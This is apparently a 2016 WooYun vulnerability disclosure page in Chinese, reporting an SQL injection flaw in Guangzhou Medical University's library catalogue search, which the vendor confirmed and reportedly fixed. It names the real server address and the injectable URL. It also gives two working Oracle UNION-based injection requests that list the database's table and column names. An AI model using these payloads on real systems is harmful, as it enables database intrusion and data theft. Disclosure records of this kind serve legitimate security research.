当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0219206

漏洞标题:广州医科大学书目检索系统SQL注入

相关厂商:gzhmu.edu.cn

漏洞作者: 路人甲

提交时间:2016-06-15 10:13

修复时间:2016-06-16 08:46

公开时间:2016-06-16 08:46

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经修复

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-06-15: 细节已通知厂商并且等待厂商处理中
2016-06-15: 厂商已经确认,细节仅向厂商公开
2016-06-16: 厂商已经修复漏洞并主动公开,细节向公众公开

简要描述:

广州医科大学书目检索系统SQL注入

详细说明:

注入点:

http://210.38.58.25:8080/opac/search_rss.php?location=ALL&title=ccc&doctype=ALL&lang_code=ALL&match_flag=forward&displaypg=20&showmode=list&orderby=DESC&sort=CATA_DATE&onlylendable=yes&with_ebook=&with_ebook=

漏洞证明:

这个sqlmap直接跑跑不出来,所以自己写的脚本,因为是联合注入,所以跑的数独也特别快:

sql6.PNG


sql7.PNG


直接有回显:

sql8.PNG


然后是跑表的payload,修改r的值就可以跑其他的:

http://210.38.58.25:8080/opac/search_rss.php?location=ALL' UNION ALL SELECT (SELECT table_name FROM (SELECT ROWNUM r, table_name FROM all_tables ORDER BY table_name) WHERE r=1),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM DUAL-- &title=ccc&doctype=ALL&lang_code=ALL&match_flag=forward&displaypg=20&showmode=list&orderby=DESC&sort=CATA_DATE&onlylendable=yes&with_ebook=&with_ebook=


跑的结果,截图部分:

sql9.PNG


然后是跑字段的payload:

http://210.38.58.25:8080/opac/search_rss.php?location=ALL' UNION ALL SELECT (select column_name from (select rownum r,column_name from user_tab_columns order by column_name) where r=1),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM DUAL-- &title=ccc&doctype=ALL&lang_code=ALL&match_flag=forward&displaypg=20&showmode=list&orderby=DESC&sort=CATA_DATE&onlylendable=yes&with_ebook=&with_ebook=


跑的结果,截取部分:

sql10.PNG

修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:19

确认时间:2016-06-15 10:29

厂商回复:

感谢!

最新状态:

2016-06-16:开发人员称已经修复。


漏洞评价:

评价